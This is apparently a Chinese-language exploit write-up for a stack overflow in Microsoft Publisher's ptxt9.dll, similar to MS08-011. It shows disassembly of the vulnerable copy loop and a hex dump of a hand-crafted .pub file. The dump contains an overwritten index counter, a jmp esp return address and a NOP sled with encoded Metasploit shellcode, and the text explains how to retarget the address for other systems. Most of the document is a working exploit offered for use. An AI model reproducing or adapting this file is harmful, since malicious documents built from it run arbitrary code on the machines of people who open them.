手动构造了一个.pub文件,office 2003和windows 2000 server下成功运行一个计算器,不同的系统平台
在文件偏移0x78fe修改jmp esp的地址就可以了,漏洞跟ms08-011的差不多,存在漏洞的模块
ptxt9.dll文件中
text:31E1BABF push ebp
.text:31E1BAC0 mov ebp, esp
.text:31E1BAC2 sub esp, 1Ch //分配的堆栈
.text:31E1BAC5 mov edx, [ebp+arg_0]
.text:31E1BAC8 push esi
.text:31E1BAC9 mov esi, ecx
.text:31E1BACB lea ecx, [ebp+var_1C]
.text:31E1BACE call bo_31E1BA3A
.text:31E1BAD3 lea eax, [ebp+var_1C]
.text:31E1BAD6 push eax
.text:31E1BAD7 mov ecx, esi
.text:31E1BAD9 call sub_31E19AB7
.text:31E1BADE pop esi
.text:31E1BADF leave
.text:31E1BAE0 retn 4
.text:31E1BAE0 sub_31E1BABF endp
.text:31E1BA3A push ebx
.text:31E1BA3B push esi
.text:31E1BA3C mov esi, edx
.text:31E1BA3E mov ax, [esi]
.text:31E1BA41 mov ebx, ecx
.text:31E1BA43 lea edx, [esi+2]
.text:31E1BA46 lea ecx, [ebx+2]
.text:31E1BA49 mov [ebx], ax
.text:31E1BA4C call sub_31E1BA2E
.text:31E1BA51 mov ax, [esi+8] //取索引号, 这里作为一个内存复制的计数器,手动构造,可以触发溢出。
.text:31E1BA55 mov [ebx+0Ah], ax
.text:31E1BA59 mov al, [ebx+0Ch]
.text:31E1BA5C xor al, [esi+0Ah]
.text:31E1BA5F xor edx, edx
.text:31E1BA61 and eax, 3
.text:31E1BA64 xor [ebx+0Ch], ax
.text:31E1BA68 mov cx, [ebx+0Ch]
.text:31E1BA6C mov al, [esi+0Ah]
.text:31E1BA6F xor al, cl
.text:31E1BA71 and eax, 4
.text:31E1BA74 xor eax, ecx
.text:31E1BA76 mov [ebx+0Ch], ax
.text:31E1BA7A mov cl, [esi+0Ah]
.text:31E1BA7D xor cl, al
.text:31E1BA7F and ecx, 8
.text:31E1BA82 xor ecx, eax
.text:31E1BA84 mov [ebx+0Ch], cx
.text:31E1BA88 mov al, [esi+0Ah]
.text:31E1BA8B xor al, cl
.text:31E1BA8D and eax, 0Fh
.text:31E1BA90 xor ax, [esi+0Ah]
.text:31E1BA94 cmp [ebx+0Ah], dx
.text:31E1BA98 mov [ebx+0Ch], ax
.text:31E1BA9C jle short loc_31E1BABC
.text:31E1BA9E lea ecx, [ebx+0Eh]
.text:31E1BAA1 lea eax, [esi+0Ch]
.text:31E1BAA4 push edi
.text:31E1BAA5
.text:31E1BAA5 loc_31E1BAA5: ; CODE XREF: bo_31E1BA3A+7F j
.text:31E1BAA5 mov esi, eax
.text:31E1BAA7 mov edi, ecx
.text:31E1BAA9 movsd
.text:31E1BAAA movsd
.text:31E1BAAB movsd //每次复制12个字节
.text:31E1BAAC movsx esi, word ptr [ebx+0Ah]
.text:31E1BAB0 inc edx
.text:31E1BAB1 add eax, 0Ch
.text:31E1BAB4 add ecx, 0Ch
.text:31E1BAB7 cmp edx, esi //判断
.text:31E1BAB9 jl short loc_31E1BAA5
.text:31E1BABB pop edi
.text:31E1BABC
.text:31E1BABC loc_31E1BABC: ; CODE XREF: bo_31E1BA3A+62 j
.text:31E1BABC pop esi
.text:31E1BABD pop ebx
.text:31E1BABE retn
.text:31E1BABE bo_31E1BA3A endp
000078c0h: 43 48 4E 4B 49 4E 4B 20 04 00 07 00 0F 00 00 03 ; CHNKINK ........
000078d0h: 00 02 00 00 00 0C 00 00 F8 01 0F 00 FF FF FF FF ; ........?..
修改的索引号
|
0x2f
000078e0h: 18 00 54 45 58 54 00 00 2F 00 00 00 00 00 00 00 ; ..TEXT../.......
000078f0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x77e188a7覆盖返回地址,这个是jmp esp的地址
A7 88 ; ..............
00007900h: E1 77
这里是跟的编码过的shellcode,来自于metasploit
90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 醱悙悙悙悙悙悙悙
00007910h: 90 90 EB 03 59 EB 05 E8 F8 FF FF FF 49 49 49 49 ; 悙?Y?桫IIII
00007920h: 49 49 49 49 49 49 49 49 49 37 49 49 49 49 51 5A ; IIIIIIIII7IIIIQZ
00007930h: 6A 42 58 50 30 41 31 42 41 6B 41 41 52 32 41 42 ; jBXP0A1BAkAAR2AB
00007940h: 41 32 42 41 30 42 41 58 50 38 41 42 75 38 69 79 ; A2BA0BAXP8ABu8iy
00007950h: 6C 4A 48 67 34 47 70 77 70 53 30 6E 6B 67 35 45 ; lJHg4GpwpS0nkg5E
00007960h: 6C 4C 4B 73 4C 74 45 31 68 54 41 68 6F 6C 4B 70 ; lLKsLtE1hTAholKp
00007970h: 4F 57 68 6E 6B 71 4F 45 70 65 51 5A 4B 67 39 4C ; OWhnkqOEpeQZKg9L
00007980h: 4B 50 34 4C 4B 77 71 68 6E 75 61 4B 70 4E 79 6E ; KP4LKwqhnuaKpNyn
00007990h: 4C 4D 54 4B 70 72 54 65 57 69 51 49 5A 46 6D 37 ; LMTKprTeWiQIZFm7
000079a0h: 71 6F 32 4A 4B 58 74 77 4B 41 44 44 64 35 54 72 ; qo2JKXtwKADDd5Tr
000079b0h: 55 7A 45 6C 4B 53 6F 51 34 37 71 48 6B 51 76 4C ; UzElKSoQ47qHkQvL
000079c0h: 4B 76 6C 50 4B 6E 6B 71 4F 67 6C 37 71 68 6B 4C ; KvlPKnkqOgl7qhkL
000079d0h: 4B 65 4C 4C 4B 64 41 58 6B 4B 39 53 6C 75 74 46 ; KeLLKdAXkK9SlutF
000079e0h: 64 78 43 74 71 49 50 30 64 6E 6B 43 70 44 70 4C ; dxCtqIP0dnkCpDpL
000079f0h: 45 4F 30 41 68 44 4C 4E 6B 63 70 44 4C 6E 6B 30 ; EO0AhDLNkcpDLnk0
00007a00h: 70 65 4C 4E 4D 6C 4B 30 68 75 58 7A 4B 35 59 4C ; peLNMlK0huXzK5YL
00007a10h: 4B 4D 50 58 30 37 70 47 70 77 70 6C 4B 65 38 57 ; KMPX07pGpwplKe8W
00007a20h: 4C 31 4F 66 51 48 76 65 30 70 56 4D 59 4A 58 6E ; L1OfQHve0pVMYJXn
00007a30h: 63 69 50 31 6B 76 30 55 38 5A 50 4E 6A 36 64 63 ; ciP1kv0U8ZPNj6dc
00007a40h: 6F 61 78 6A 38 4B 4E 6C 4A 54 4E 76 37 6B 4F 4B ; oaxj8KNlJTNv7kOK
00007a50h: 57 70 63 51 71 32 4C 52 43 37 70 42 90 90 90 90 ; WpcQq2LRC7pB悙悙
00007a60h: 90 90 90 90 90 90 90 90 01 00 00 00 54 45 58 ; 悙悙悙悙....TEX